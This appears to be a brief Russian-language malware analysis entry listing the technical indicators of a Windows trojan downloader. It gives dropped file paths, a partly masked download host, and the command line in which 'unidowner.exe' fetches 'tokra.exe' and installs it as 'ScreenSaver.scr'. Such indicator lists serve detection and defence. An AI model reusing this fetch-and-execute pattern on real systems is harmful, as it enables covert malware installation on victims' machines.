Техническая информация
- %WINDIR%\ScreenSaver.scr /S
- %WINDIR%\unidowner.exe "http://li#.#finder.biz/tokra.exe" "%WINDIR%\ScreenSaver.scr" install-exec
- %WINDIR%\ScreenSaver.scr (загружен из сети Интернет)
- %WINDIR%\ScreenSaver.scr
- %HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\tokra[1].exe
- %WINDIR%\unidowner.exe
- 'li#.#finder.biz':80
- li#.#finder.biz/tokra.exe
- DNS ASK li#.#finder.biz